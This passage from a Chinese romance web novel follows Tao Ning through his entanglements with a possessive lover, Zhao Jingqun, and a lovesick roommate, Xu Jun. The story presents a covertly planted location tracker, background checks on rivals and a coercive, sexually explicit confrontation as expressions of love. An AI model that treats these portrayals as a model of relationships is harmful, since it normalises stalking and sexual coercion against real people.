少年哭红了眼眸,他想往后退,却根本动弹不了,一丝一毫都不能,泪眼婆娑间,只能看见男人如狼的眼睛里,满是对他的占有欲和嫉妒的欲.火。 第63章 第 63 章 有那么多人喜欢你 “徐隽?徐隽?你还在里面吗?” 窗外随风摇曳的树叶有那么一瞬间, 是静止的。片刻,卫生间的门被缓慢打开。担心他在里面出意外,班主任本想出于关心稍微训斥一下, 但看见出来的人时,想要训斥的话全部堵在了喉间, 忽然开不了口了。 男人站在卫生间门口,分明是一张没什么表情的面庞, 却无端显现出莫大的哀伤,那样的哀伤如湍急的潮水,几乎要将他整个人淹没了。镜片后的目光落在半空中, 不知道是在看哪里。 但任谁都能感觉到,他的视线是没有聚焦的,好似糅杂了太多情绪在里面, 如潮水般的悲伤多到溢出来, 不禁令人感同身受。 班主任小心问:“徐隽?你是不是身体哪里不舒服?” 过了许久, 手机被递过来, 班主任听见他平静的声音说:“没事谢谢关心。” 话落,这个班主任非常看好的、做事细心严谨的年轻人, 很多校领导对其赞不绝口的年轻人,头也不回离开了办公室。他嘟囔了几句应当是学习压力太大了,真是个倔强的孩子, 如果家里有困难应该 在看到手机屏幕上那滴水渍时。 班主任愣住了。 * 那天下床后,陶柠抿着唇,几乎是一晚上没让赵静群亲他,而赵静群从善如流跪在床边,一边吻他的手背一边说:“我错了乖宝,你知道我本来就忍不住, 在床上又听到有个不认识的男的关心你,所以没控制住自己做的有点过分,我发誓下次再也不会了,我真的错了宝宝” 实则不然,赵静群内心冷笑,室友?这么关心他老婆,找死吗。他就是故意让陶柠那个所谓的室友听到的,想撬他墙角?门都没有。 自从察觉到宋郁丛与陶柠之间不浅的关系后,赵静群最近有些神经质,基本上是抗拒任何陌生男人接近陶柠,来一个他便要里外调查个遍,就怕他一个没看住,陶柠被人拐跑了。 赵静群超一米九的身高,人高马大,平日里站个没正形的模样给人压迫感也足够强,此刻却蜷缩在床边跪着,看上去着实有些可怜。 陶柠迟疑了,问:“真的错了嘛?” 跪在地上的男人想都没想,立刻答道:“真的错了。” “错在哪里?” “便宜那小子听活春宫了。”这句话是赵静群咬牙切齿说出来的,不过只此一次,他就是想让所有靠近陶柠的男人知难而退。 陶柠的身体、他含着泪的眼眸、从肿胀的唇里泄出的呻吟、他的骨头与血所有的一切一切,合该是他赵静群的。 陶柠的脸颊迅速羞红,也慢慢发现赵静群性格里恶劣的一面,他确信徐隽是听见了那些羞耻的声音,这样让他以后怎么面对徐隽?不由得气得咳嗽了几声,背后连忙被滚烫的手掌拍了拍,赵静群捉住他的手,着急道:“怎么了宝宝?是感冒了吗?我去叫医生。” 赵静群脚步慌乱去喊医生。 趁他不在,陶柠拿起他的手机就要拨回去电话,手机的屏保是他睡觉的侧颜,不知道是赵静群什么时候拍的,但陶柠已经不顾这些了,手机也有密码,他凭直觉输入自己的生日,手机解锁了。 陶柠拨过去电话,但接电话的不是他记忆里清冷淡漠的声音,而是老师的,“喂,是陶柠的家长吗?” “老师,我是陶柠。” “哦哦哦,陶柠啊,你是下周回学校吧?” “嗯,老师请问徐隽在您身边吗?可不可叫他接个电话?” “啊哟不巧,那孩子早走了,不过老师想麻烦你一件事。” “好,您说。” “那孩子刚才一直在跟我打探你的近况呢,看样子很担心你,但我看他最近打了好几份工,他还是个学生,每天那么多事情要忙,哪里吃得消?你是徐隽的室友跟他应该关系好,所以老师想拜托你问一下,看徐隽家里是不是出现了困难?学校里会积极给他帮助的,叫他不要自尊心撑着不说出来” 徐隽家里出事了吗? 陶柠想起在他回宋家前那段时间,徐隽的确早出晚归,似乎很忙,那时陶柠以为他是在处理宋郁丛带给他的麻烦还有学生会的事,便没有多打扰他原来是他一直在外面工作吗? 说不出是什么样的感觉,徐父徐母两人很好,他们足够恩爱,所以将徐隽培养至淡漠温和如真正的君子。陶柠在徐隽家里切实地体会到了温暖,仿佛回到了自己家,因此他一点儿也不希望徐隽家里出事。 他立刻答应下来,打算今天就回学校看看。 赵静群把医生请进来了,医生给陶柠检查身体,说没什么大碍,但是要静养,情绪波动不能过大。赵静群听得认真,点头连连称“是”,临走前给医生封了个大红包。 医生走后,赵静群抱着陶柠长松了口气,因为陶柠身上的再生障碍性贫血就像个不定时炸弹与他的心脏绑定了,稍微有风吹草动,他便吓得不行,恨不得全天二十四小时盯着陶柠,再把陶柠揣进口袋里,只有亲眼看见陶柠没事,赵静群才能处理生意上的事情。 以至于赵家那些高层现在求爷爷告奶奶盼他们的赵少飞回X省,赵静群理都没理会一下,说未来一年会异地处理,让他们自己看着办吧,那些人只好认命把数不清的文件合同加急加密送到这位笑面冷心的太子爷身边了。 赵静群还没从风吹草动中缓过神,陶柠的一句话,又叫他的心悬挂云顶了:“我想回学校一趟。” 想都没想赵静群便拒绝了,“不行。”发觉语气过于强硬,声音立刻放软了,“呆宝你乖一点再静养一段时间我就送你回学校。” “不要,我今天就想回去。” 他只是出去喊了下医生,陶柠怎么就闹着要回学校了?赵静群觉得这件事很反常,视线落在桌上的手机,他拿过来翻看,但是没发现异常,和备注“杨老师”的人确实只有两次通话记录。 赵静群皱眉,放下手机继续劝陶柠:“乖,今天很晚了,我们下周再去好不好?” 今天是周五,如果陶柠真回学校,按照约定他岂不是要在学校待两天,这怎么能行?身体万一又出个发烧感冒怎么办。 曾在陶柠不在的地方,医生其实语气很严肃跟赵静群叮嘱,陶柠现在免疫力非常低,稍微风吹一下,雨淋一下便会发烧感冒,如果经常如此,可能会引发感染从而将身体击垮,况且现在与陶柠配型的骨髓还没找到,后果不堪设想。 这些话让赵静群冷汗都吓出来了,甚至当晚便做了个噩梦。 那个在生意场上和东南亚地区办事狠毒老练的赵家太子爷,无论面对多么恶心残忍的事情,眼睛都不会眨一下,反而会夹着烟饶有兴趣欣赏许久。 只有面对陶柠有关的事情,这位生性冷血的太子爷才会乱了阵脚。 也正是因为他丝毫不留情面的性格,赵静群仇家很多,很多人想要他的命,他现在把陶柠藏的严严实实,基本上没几个人知道这件事,来海州办公在明面上对外说是看上了这里的一个项目,未来会在海州拓展生意合作。 “赵静群,我想今天就回学校。”陶柠看着眼前这个对他满怀关切的男人,被他注视了一会儿,男人回望他,叹了口气:“你真是我赵静群的祖宗明天吧,只能明天回学校。” 陶柠轻轻地“嗯”了一声。 晚上睡觉的时候,赵静群将他抱得很紧,平日里总是挂着不咸不淡笑意的脸,眉头却微蹙。陶柠为他抚平眉眼,跟着沉沉睡过去了。 第二天清晨,赵静群亲着哄着陶柠,一口一口喂他吃完药,之后先是夸张说要给他做一桌满汉全席,随后又说去学校的路上要带他去动物园看看,明显在拖延时间。 陶柠都知道,只是没有拆穿。 他用筷子戳了一下赵静群给他做的白菜包肉卷,白菜的清甜与鲜肉自汤汁中炸开,肉粒饱满,香味霎时间扑面而来。是赵静群六点多去菜市场提回来的新鲜猪肉与白菜,大大小小买了一堆食材,做了七八个菜,每样菜都符合陶柠的口味。 不怕陶柠浪费,基本上都是让他吃的开心就好。 赵静群不喜欢陶柠吃除他以外其他任何人做的东西,也从不会请护工或佣人来伺候陶柠,凡事都要亲力亲为。 “宝宝,动物园里有狮子老虎熊啊鹿啊什么都有你喜欢那些小动物,不想去看看吗?” “想。” “那我们先去动物园。” 陶柠摇了摇头,“回学校,以后再去看。” 赵静群拿他的宝贝儿没辙了,好在他有先见之明在陶柠身上装了定位器,想要监视陶柠不难,便只好半疑神疑鬼半咽下这口气带陶柠去学校了。 没有用司机,开得车也很低调,几十万的奔驰,赵静群稳稳当当把他的宝贝送到校门口。 只是赵静群万万没想到,奥克森特这个国际学校是个狗眼看人低的,保安见他的车不值钱,也不认识什么姓赵的家族,他的奔驰开不进去就算了,竟然连校门都不让他赵氏太子爷进去。 赵静群笑得有些僵硬,但他还算冷静,直接塞给了保安几千块,拜托他帮陶柠提东西送到宿舍——其实就是一袋子药和一袋子玩具还有一袋子赵静群自己做的点心,他怕陶柠提着会累坏。 保安见他这么上道,收下后便答应了。 赵静群松了口气,回车上重重亲了陶柠一口,然后从裤兜里又掏出一副黑框眼镜,给陶柠戴上,“丢在宋家的那副不要了,给你买了新的,没有度数,镜框架子也轻,你好好戴着下周一老公来接你。” “嗯。” 即使百般不舍,百般爱意,赵静群终究是放陶柠回学校去了。 等车里人一空,他习惯性掏出烟点一根,只是拿到手上,却只是用力摩挲烟丝而已,他拆了半根烟,又叼着半根,打开一个显示器,盯着上面的红点离他渐远。 直到陶柠来到宿舍,谢过保安把三大袋子给他提到门口。 咔嚓一声。 宿舍门开了,久违的淡淡的消毒液的味道迎来,陶柠吸了吸鼻子,刚想把东西都提进去,一抬头,却发现昏暗的宿舍内,有个高瘦的身影,就站在他不远处看着他。 “徐隽?” 过了许久,那道高瘦的身影自黑暗中走出来,陶柠这才发现,只是一段时间没见,徐隽消瘦了很多,曾经身上淡漠的气息,如今却罕见地萦绕着颓败,仿佛经历过极其痛苦的事情。 只有金丝眼镜后的那双眼睛,依旧如初般,一错不错地盯着他,但陶柠总觉得,那样冷淡的眼睛里,此刻似乎多了些东西。 他看着陶柠,淡淡地“嗯”了一声。 相顾无言,又过了片刻,陶柠听见他淡漠的声音忽然道: “陶柠。” 陶柠愣了一下,“我在,怎么了?” 徐隽安静地看着他,没有回答,却说:“有那么多人喜欢你。” 第64章 第 64 章 徐隽的自卑 宿舍内的光线暗淡, 有时候视觉模糊会不由自主连听觉也模糊掉。听到徐隽的话,陶柠有些错愕,虽然他不太明白话里的意思。 而且十八年来, 陶柠并不觉得有多少人喜欢他,反而会受到很多恶作剧与难堪的流言。 他记事起, 便有人想脱掉他的裤子,那些人说他细皮嫩肉的, 是不是个小姑娘?甚至还有谣言说他根本不是男孩儿,小小年纪模样便生得那般好,未来怕不是要给陶柴做二老婆! 陶柴是他的养父。 那些黏腻潮湿的目光和手在他脸上游走, 现在回想起来,如果不是陶圆始终护在他身前,陶柠可能无法在大山中走出那些恶意。 只是那时候的陶柠比起现在, 更加无法感知他人的善与恶。 他像块真正的木头站在原地, 不知情绪不懂反抗, 面无表情盯着那些散发恶臭的手, 那些人被他盯得瘆得慌,恼羞成怒要去脱光他的衣服, 是陶圆提着刀过来把他们轰走了。 在学校时,有同学恶作剧式地想和他交朋友,陶柠拒绝后, 他们便骂他娘娘腔,装清高给谁看?!随后往他桌子里塞死老鼠和虫子,但是他们没想到陶柠不怕那些,反而把它们埋进土里,希望它们得到安息。 回过神,陶柠说:“没有很多人喜欢我。” 但他隐瞒了一点, 有人爱他,只是他无法开口。 徐隽看了他半晌,最后扯出一抹似有若无的笑,闭了闭眼,没再说剩余的话,而是帮他把三个袋子都提进了宿舍。 宿舍内依旧保持着陶柠离开前的模样,甚至陶柠的被子叠成了豆腐块状,书桌上的东西整整齐齐,干净整洁到一尘不染,空气中隐约有消毒水的味道。陶柠犹豫问:“你的伤还好吗?” 提起这个,陶柠非常担忧与愧疚。自从上次离开会所之际,徐隽被人摁在地上,他浑身是血,却反抗着看过来的那一眼,至今令陶柠无法忘怀。 陶柠既把徐隽当作攻略对象,也当作很好的朋友,应该说即使没有这个攻略任务,他也很希望与徐隽交朋友。因为只有徐隽理解他口中晦涩难懂的数学公式,也只有徐隽支持他所有的想法。 人生的知己可遇不可求,陶柠很珍惜他们的友谊。 可是徐隽也是他的攻略对象,其他两个人都是。 久久没得到回应,陶柠这才发现,徐隽的目光一直落在他戴在左手腕的表上。 “怎么了?” 片刻,徐隽收回目光,淡淡道:“没事。” 留下陶柠,他转身独自去了浴室,砰的一声轻响,背靠墙壁,以往挺直的背脊,此刻却倏然弯下。他抬起手,掌心有四个几乎刻入血肉的红痕,是他为了克制情绪,用力攥紧拳头留下的。 那款百达翡丽他曾看见一个富商戴过,全球限量款,数量不超过二十,公开市场价是四百多万。四百多万啊,那时的徐隽比现在更年轻,也更骄傲,他认为仅仅是四百万而已,十年后的他必定成为商业新贵,身家过亿,所以那时他从不会为四百万的名牌表感到自卑。 可如今,深深的无力感与卑微的自我厌弃笼罩了徐隽。 暗恋着的人有那么多人喜欢,而他是里面最普通也最无能为力的一个。 陶柠应该被无数金银珠宝高高捧起,被养在奢靡的别墅内备受宠爱——他生来便是该备受宠爱的,而不是因为海州寸土寸金,跟着他十年以前生活在狭小且连浴缸都没有的房子里。 他的小柠檬不该睡在粗糙的床单上。 但无论是金镯子、昂贵的手表现在的徐隽除了拼命挣钱给陶柠攒下未来的手术费,什么也给不了,或许陶柠也根本不需要他那点钱,因为会有无数人争着抢着为陶柠的一切买单。 而他徐隽,一无所有。 背靠光滑的墙壁,任由干净的衣物染上灰尘,徐隽缓慢蹲下身,他从未有如此自卑过。 曾几何时,他意气风发不知少年愁滋味。 因为自小他便是在“天才”“别人家的孩子”等等无数赞美中长大,事实上他也的确如此,霸占全年级第一整整十一年,奥克森特提前预测的省状元,自学并研究金融与犯罪心理学课程,数学、物理、化学奥赛最年轻的一等奖,同样文采斐然,通古博今,书法造诣极深。 从小到大的奖金徐隽甚至一分没要,全部捐给了贫困地区。 他十三岁时便被清北少年班录取,但因为徐母希望他大学以前能够体会正常学生的一切,融入普通的一部分,不要成为高傲冷血的人,所以徐隽拒绝了入学,也没有跳级,而是按部就班读完了十一年的书,否则,他应当早已在HBS博士后毕业。 十多年的时光里,徐隽从未喜欢、爱过谁,因为很多事情和很多东西的成功与获得对他来说轻而易举,他不需要喜欢谁,爱谁,他骨子里早已堆砌满了自傲与漠然。 直到他遇见陶柠,少年的笑干净美丽,心怀赤子,垂头看书的模样安静漂亮得像一幅画,用世间最美好的诗词称赞也不为过。 徐隽的心脏悄无声息为陶柠的一切疯狂跳动,他恍然,原来喜欢一个人、爱一个人的感觉是如此美好,只是他的小柠檬那么呆,根本看不见有多少人觊觎他,那些阴暗的目光里只想把他占为己有,包括徐隽。 徐隽曾自傲地以为自己是势在必得的,可如今才发现,比起那些有钱有权的竞争者,他一无所有,什么都给不了他的小柠檬,以至于,深深的自卑与不甘几乎要将他击垮。 与此同时,对陶柠卑劣的恨意却如毒蛇血肉中钻出的藤蔓疯狂滋长—— 徐隽恨陶柠对自己的爱意一无所知,恨喜欢他的人一个接一个,恨他如木头般的性格,更恨他的放浪轻浮不是因为自己! 他难道不知道他的唇已经红肿不堪了么?轻轻一碰就能搞出水吧,他难道不知道,那天从电话里溢出的哭腔让他有多恨么?! 徐隽表情冷漠将手伸下去,十分钟后,仿佛自虐般结束所有的狰狞。 冰冷的水流冲掉手上的浊液,徐隽看着镜子里的人,平日里没什么表情的脸此刻因为嫉妒和自卑变得有些扭曲,而眼底曾经的冷傲此刻全被恨意包裹的情.欲取代,以至于猩红得厉害。 砰的一声巨响! 徐隽喘息着,一拳头将镜子全部打碎了,浴室门瞬间被打开,陶柠看见他染满鲜血的手,慌张地抓住他的胳膊,“发生什么了徐隽?疼不疼?” 徐隽沉默不语。 精悍的胳膊上青筋凸起,陶柠轻轻一碰,徐隽便任由他慌张地抓住自己的胳膊,也不由自主跟着陶柠离开了这片镜子破碎的地方。 陶柠让徐隽坐在自己的书桌前,然后翻箱倒柜找出绷带和擦伤药,小心翼翼用棉签给他处理伤口,修长的五根指头指骨全部擦伤,好在伤口面积不大,陶柠细致地涂上伤药,最后用绷带绑了起来。 陶柠松了口气,抬眸,却撞入他沉不见底的眼睛。从他进入宿舍后,徐隽似乎前所未有的沉默,他被这样平静的目光看得有些慌乱。 这是为什么? 过了许久,徐隽终于打破了沉默,他缓慢到仿佛慢动作播放般从陶柠怀中抽出自己受伤的手,淡淡问:“我爸问这周末你会跟我回去么?” 陶柠愣了愣,他周末不回去,应该是可以的,于是点了点头。 “嗯就现在吧。” “啊?” 等跟着徐隽出地铁站时,陶柠还有点懵没回过神,只是这次徐隽没有牵他的手,而是拿着他的药物。 “走吧。”他表情冷淡。 陶柠不明所以,只好继续跟着他上居民楼了。 但是两人都没有发现,有辆本田一直跟在他们身后,车里的人终于忍不住抽起烟,冷眼看着他们在楼梯口消失,屏幕上的红点也停在一个地方闪烁。 本想和徐父徐母打招呼,顺便问一下徐隽最近的状况,结果陶柠进门以后,没有发现徐父徐母他们,徐隽说:“他们去度假了。” 那这周末只有他们两人吗?陶柠呆呆地点了点头。 将陶柠安置在房间里,徐隽去厨房做饭了,不大不小的房子里只有切菜和烹饪声,沉默无声无息在他们之间蔓延。陶柠不是一个善言辞的人,他其实是想跟徐隽说些话的,可是看到他的眼睛后,却什么话都说不出来了。 徐隽做了一桌子菜,口味均偏淡。陶柠尝了一口,无端想起赵静群做的饭菜,男人做菜的花样很多,五花八门换着来,而徐隽做的饭菜偏家常,是一眼看去,便知道是用哪些食材做的。 “你在想什么陶柠?” 陶柠猛地回过神,筷子夹住的蔬菜倏然掉落。徐隽看着他,仿佛洞穿一切将他彻底看穿了,只是金丝镜框后的眼睛里,平静一如往常,可偏偏,陶柠从中感受到了许些悲伤。 他忽然惊觉,刚才的想法对徐隽来说,过于残忍了。 沉默半晌,徐隽说:“还记得情人节我送给你的那封信么?今天回去后,可以拆开了。” 情人节那天,陶柠是想当场拆开那封镌刻白玉兰印章的牛皮纸信封的,但被徐隽阻止了,他说,等下一次跟他回家后再拆开吧,自那以后,陶柠甚至忘记了这回事,直到今天被徐隽提起,他才终于想起来了。 有些酸涩自舌根下泛起,陶柠珍重地“嗯”了一声。 第65章 第 65 章 “看着我的时候,你究竟…… 吃完饭后, 徐隽照例拿了一个变形金刚的玩具哄陶柠吃药,这是他冷静观察陶柠,在奖励糖果还是玩具之间得出来的认为最有效的招数。 捧着温水吃药的少年果然很受用这招, 那双浅棕色的眼眸盯着变形金刚,没过多久便很乖地吃完了。 “回学校吧。” 陶柠刚想问不多待一会儿嘛, 嘴角便被柔软的纸巾碰了碰,接着修长微热的手指若有似无碰了一下他的唇, 他愣住了,但徐隽跟个没事人一样,面色淡漠, 也没有解释。 应该是嘴角上有东西吧。陶柠这么想,也就忘了刚才要问的事情,看徐隽收拾好东西带他出门了, 本田车依旧不快不慢跟在他们身后, 只是车窗里, 那双如狼似的眼睛异常冰冷, 他单手开车,对电话里的人冷声吩咐:“去查一下陶柠的室友, 家世背景全部查清楚。” 电话那头是孙老二的声音:“是。”片刻,他有些迟疑问:“赵哥,是不是这小子对天仙嫂嫂图谋不轨?” 只要不是在处理生意上的事情, 平日里赵静群挺好说话,他手底下的人都喜欢叫他一声“赵哥”,也能开几个玩笑。 孙老二继续担忧道:“要我说,赵哥你确实得把嫂子看紧点,嫂子长成那副祸国殃民的样,估计是个人都喜欢不过那只是个毛头小子, 怎么能跟赵哥你比?” 电话这边的赵静群冷笑一声,没说话。 但孙老二听出了这声笑的意思,大致是那毛头小子根本不配和他比。 车里的男人挂了电话,盯着前方并头前行的两人,修长结实的胳膊伸出窗外,肌肉紧绷,不咸不淡弹掉指尖的烟灰,缭绕的烟雾刹那间腾起,深邃的眉眼笼罩其中,只能瞥见若有似无的狠厉与嫉妒。 回去的时候天色已近傍晚,陶柠跟徐隽回到宿舍,因为舟车劳顿,洗了个热水澡便要去床上睡一会儿,只是还没沾枕头,便被徐隽叫醒:“陶柠,头发还没有吹干。” 徐隽站在床头,陶柠要倒在枕头上时,一手把他捞进了怀里。 只是他不知道这段时间陶柠从来没有自己吹头发过,而且他已经很困了,在男人温热的怀抱里,迷糊之间抓住他的手,嘟囔道:“不想吹想睡觉” 徐隽低下头,望着怀中人浓密纤长的睫毛,沉默片刻,淡淡道:“不吹会生病。” 手掌倏然被少年攥住,似撒娇般在他怀里动了几下,脱口而出道:“赵”少年呆滞了一下,大脑清醒了一半,“你帮我吹吗。” 下巴上的软肉瞬间被人掐住,陶柠被迫抬起头,宿舍内黯淡的光线中,徐隽那张清冷禁欲的脸近在咫尺,近到甚至能听见彼此的呼吸声,冰冷也滚烫的吐息喷洒在脸上。 “陶柠,看着我的时候,你究竟在想谁?” 眼角因为睡意沁出的泪被男人的手指抹去,陶柠瞳孔微缩。 掐住他下颚的男人却不肯放过他,镜片后的冷漠如水上浮冰般消融,露出水下不见底的深渊,语气平静却无故令人听起来毛骨悚然,“刚才你又想叫谁的名字?” 声音里的波澜分明与平日里无异,陶柠却有一种被毒蛇盯上的阴冷感,危险的预兆让脑海中警铃炸响,拍开掐住他软肉的手掌,慌张下床:“没、没谁,我去吹头发。” 徐隽盯着他慌乱的背影,面无表情。 陶柠匆匆吹了几下,脑子乱成了一团,吹风机刚放下便被人拿走,徐隽将他堵在墙角与胸膛之间,湿润的发丝被温热的手指挑起,吹风机的嗡嗡声再次作响。 身体僵硬不能动,陶柠只好让徐隽给他把头发吹干。 这下子,别说睡意了,陶柠现在能清醒到做十套数学题,不过是被徐隽面无表情的模样惊吓出来的。 他发觉到什么了吗? 为什么要问那些问题…… 直到陶柠坐在椅子上,看徐隽用小刀拆开牛皮纸上的火漆封缄,再用纸巾细致地擦掉刀刃上的残漆,把信封递给他。 棕色信封悬在半空之中,徐隽冷淡的眼睛看过来。 即将碰到信封时,陶柠犹豫了,当时他觉得信封里装的可能是干花或明信片之类的东西,并没有放在心上,可如今,这天的徐隽很反常,他总觉得事情不会那么简单。 如果知道了信封里的内容,有些事情也行将朝着无法挽回的方向发展。 徐隽淡淡说:“你答应了。” “嗯。” 迟疑着接过信封,陶柠纤细的手略微发颤,信纸拆开的窸窣声在安静的宿舍内极为突兀,拿到手中的,既没有干花,也没有明信片,而是两张很薄的纸。 刚劲的字迹力透纸背,仿佛写信人提笔时的万分珍重—— “陶柠亲启:见字如晤,展信舒颜。” 徐隽说:“在你来之前,我便已知晓你,只是当时我并未放在心上,直到9月18日那天电梯门开启,你的模样虽为狼狈,却是,我平生见过最朝气蓬勃之人。” 陶柠的心尖一颤。 徐隽继续道:“可我自知被傲气裹挟,不屑弗洛姆书中的情意,认为无论是谈情说爱,亦或是人类多余的情感均是庸俗之至,何况一见倾心玄而又玄的事情。只是后来每当看见你,我便想起清晨的旭日,夜晚的月色。” “甚至午夜梦回,竟都是你的笑容。” “我才知晓,原来自己也不过是个俗气的小人,被你罪恶的皮囊所吸引,为你的至真至纯所动容,最后成为你云下衣裳的倾慕者。” “观察你的情绪,体验你的感受成为我唯一的快乐,后来因为心疼你生病,我便拼尽全力挣钱,只愿你能毫无负担生活,但我做这件事并不希望再次成为你的负担,我只希望得到你的垂怜。” “我只想让你明白” 陶柠捏住薄薄纸张的手在发颤,耳边却持续不断响起徐隽冷淡的声音。 “何其有幸,我能够喜欢你。” “因为倾慕你,我做任何事都甘之如饴。” “可是——” 手中的信封被抽走,陶柠抬眸,冰层全部裂开,透过清晰的镜片,他撞入一双仿若装有滚烫岩浆的眼睛,只是视线轻碰,身体上下便要被焚烧殆尽。 嘶啦一声! 信封被男人撕成两半,他逼视陶柠,让陶柠只能看到他,“我以为你天真不谙世事,所以不敢把爱慕的想法告诉你,怕吓到你,于是折中选了这个办法,以为这时候你总能察觉到。如今我才发觉,你的天真让我觉得残忍,因为你并非感觉不到别人对你的感情,宋郁丛,以及你那个姓赵的前男友,也是你所谓的表哥你能接受他们,唯独忽视我的存在,为什么?” 所有的话落下,陶柠如遭雷击。 他他是从哪里知道赵静群和自己是那种关系的? 然而徐隽依旧面无表情把信封再次撕碎。 一时间接受如此大的信息量,喉咙仿佛被这些碎纸堵住,陶柠哑言到说不出话,因为徐隽现在的模样实在太吓人了,他伸手去阻止眼前似乎有些疯魔的人,“徐徐隽,你不要这样,我我以为” 伸过去的手被男人避开,陶柠愣了愣,刚想缩回去,却瞬间被他铁箍般的手抓住,砰的一声轻响,他顺势被男人抵在墙壁上。 徐隽低头,冷眼看着被他困在怀里的少年。 他自认为平日里是个极其克制的人,从不贪多,也从不会接触过多能令人上瘾的东西。 譬如喝酒,对常人来说这是个解愁上瘾的东西,但对他而言,仅是在商宴上接触的酒精,仅此而已,即使喝得酩酊大醉,他也极为克制毫不留恋,更不会在排忧时想起依靠酒精消愁。 其他娱乐性的事物接触得更是少之又少。 因为他足够理智清醒,以至于不愿意被身外之物所牵绊。 可是如今把陶柠困在怀里,这种全世界只剩他们两人的感觉太美妙了,像致命的毒药,明知触碰会坠入万劫不复的深渊,徐隽也甘之如饴,甚至产生把陶柠藏起来,只能被他看见的极端想法。 单手抚上陶柠红肿的唇,徐隽敛去极端的思绪,冷声问:“你以为什么?以为我们是朋友?” 因为这几日频繁被人亲吻,红唇已经肿到泌出娇艳欲滴的涎水,现在被男人温柔的手指摩挲,陶柠感觉微微刺痛,想要避开,却又被徐隽的手掌箍住,不让他挣扎。 陶柠只好在他冰凉的目光下,艰难地点了点头,却只得来一声讥讽的笑。 徐隽抚摸他唇畔的手转为掐住他柔软的下颚,忽然没由来的说:“那天宋郁丛把你这样困住——”说着,他抵开陶柠的双腿,让怀中的人与墙壁及自己之间再无间隙,“像这样。” 徐隽低头,薄唇几近要碰上陶柠红肿的唇。 “他把你困在怀中强吻你,亲吻的水声大到整个包厢都能听见。你知道你的朋友——我,”徐隽冷笑,一字一顿道:“我在门口想些什么?我在想,如果那时把你亲出水的人是我就好了。” 他疯魔般继续笑了笑,“那天在电话里,你和前男友在做.爱吧?” 陶柠懵了,声音发颤:“你徐隽你知道知道自己在说什么吗?” 徐隽像是完全听不见他说话,金丝眼镜后的清冷理智荡然无存,一根手指头插.入他红肿的唇,饱含恨意道:“你的朋友我在想,如果那时” 他来到浑身僵硬的陶柠耳边,一个字一个字道:“把你操.哭的人是我该多好。” 第66章 第 66 章 攻略值已达百分之八十…… 一股阴森的寒意自脚底窜入四肢百骸, 宛若草丛里狩猎的毒蛇终于按耐不住,露出尖锐冰冷的獠牙,将猎物的退路彻底堵死。 陶柠退无可退, 想往后缩,可身后只有墙壁——不仅是被徐隽直白的话给吓懵了, 还有他此刻的表情,那张素来冷淡没多余表情的脸, 说那些下流话时,眼神似乎要将他生吞活剥掉。 他觉得徐隽有些疯了,先是突兀的表白一股脑砸在他头上, 陶柠还没有从“徐隽没有把我当朋友,他居然喜欢我”的恍惚中回过神,紧接着又被他魔怔似的话吓到呆住。 甚至此刻还有愈演愈烈的趋势。 “你冷静点” 只要再往前靠近一点, 便能咬住少年红润肿胀的唇瓣, 如若再过分一些, 撬开贝齿, 还能品尝藏在那条小缝里殷红的舌尖,再强硬地吮吸舔.弄, 就在这里,将他禁锢在手臂与墙壁之间,让他清澈干净的眼眸哭到红肿。 徐隽冷酷想, 让陶柠彻底看清楚,现在究竟是谁在让他掉眼泪,往后再也生不出透过自己想其他男人的念头。 感觉小腹处被东西硌到发疼,陶柠忍不住微微发抖,这里可是宿舍徐隽想干什么?温热的唇已距毫米之差便能咬住他的嘴巴。 禁锢他的男人察觉到陶柠的颤抖,金丝眼镜后的双眸有片刻凝固, 他闭上眼睛,偏头避开面前诱人至极的红唇,鼻尖呼出的气息却粗重不堪,仿佛在用最后的理智克制自己即将出格的行为。 他不能吓到他的小柠檬他也没资格对陶柠做些什么。 半晌,徐隽睁开眼,镜片后的眼眶忍到发红,同时缓慢松开禁锢怀中人的双手,后退了几步,外表平静,已然没有半分刚才疯狂的样子,只是一开口,沙哑的声线暴露他此时毫无平复的思绪。 “我不会对你做出格的事,不要怕我。” 闻言,陶柠愣住了,身躯逐渐停止微微的颤抖,他想说些什么,却见眼前的男人忽然面无表情伸到下方,眉头微蹙,过了片刻,刚才硌得让他疼的东西已然被迫蛰伏,全然没有狰狞的模样。 陶柠瞳孔放到,这、这也可以?肯定很疼。 这是他第一次意识到,徐隽平静的外表下隐藏着令人恐惧的疯狂,但徐隽又是矛盾的,他是个极其克制的人,对自己有着自虐般的狠厉。刚才陶柠以为他会吻下来,结果没有,除了直白到吓人的语言,什么事情都没有发生。 似乎一件事无论多么不可控,徐隽也能将其拉回正轨。 恐怖的自制力。 但陶柠也小小的松了口气,因为他觉得,如果不是刚才徐隽自己紧急停下来,他肯定承受不住那样的后果。 “陶柠,”徐隽打断他的思绪,双眼的猩红逐渐褪去,“你现在知道了么?我不想和你做朋友。” 心脏好似因为这句话沉入酸涩的液体中,陶柠觉得有些难过,因为他是真的很想很想和徐隽成为好朋友,从小到大他没有能够称为朋友的人,他很孤单。 徐隽没有再说话,而是转身走向垃圾篓,已经被撕碎的情书悬在垃圾篓上方,陶柠看不见他的神情。 “刚才说的话已经是我的极限了。” “抱歉,吓到你了。” 男人背对着他,以往清俊挺拔的身躯此刻竟显出几分颓败,片刻,他松开手,撕碎的纸片如迅速坠落的雪花,连带着不见天日的爱意落入垃圾篓,“陶柠请原谅我这次失态,如果你无法接受,那么以后我不会再来打扰你,也请你替我保守这个秘密。” 陶柠怔愣地看着纸片如雪花般消失,恍惚间心脏狠狠跳动了一瞬。 熟悉的机械声自脑海中响起:【恭喜,攻略值已达百分之八十。】 门被关上,宿舍内只剩下陶柠,他走到垃圾篓前,看着里面的碎纸片发呆,脑海中的机械音忽然笑了一下:【别忘了,你还有一个暗恋徐隽的任务,只剩三天了,你让他感觉到了么?】 陶柠没有理会这个系统,而是蹲下身将垃圾篓内的纸片捡起来,小心翼翼放在手上。徐隽每天都将宿舍收拾得很干净,就连垃圾篓里也只有这些被撕碎的情书。 一共是十九片。 只剩最后一张了,陶柠捡起来,看到纸片上的字迹时,愣在原地—— “陶柠,我心悦你,准确来说,我爱你。” “谨付寸心,希垂尺素——徐隽。2012年10月12日。” 这是他没有看到最后的文字。 纤长的眼睫微微颤抖,陶柠默不作声将这些纸片重新装入牛皮纸信封,犹豫片刻,他拿起枕头下的手机打开了。 赵静群给过他新的手机,陶柠拒绝了,说回到学校就用以前的旧手机联系他,刚打开聊天框,数不清的消息便冒出来了。 【呆宝,到宿舍了吗?^-^】 【宝宝怎么不理我?明天回来给你做虾仁炒西蓝花好不好?】 【呆宝是睡了吗,怎么不理人。】 【想你离开的第一个小时。】 【想你离开的第二个小时。】 直至最后一条:【再不理老公就要去学校逮你了。】 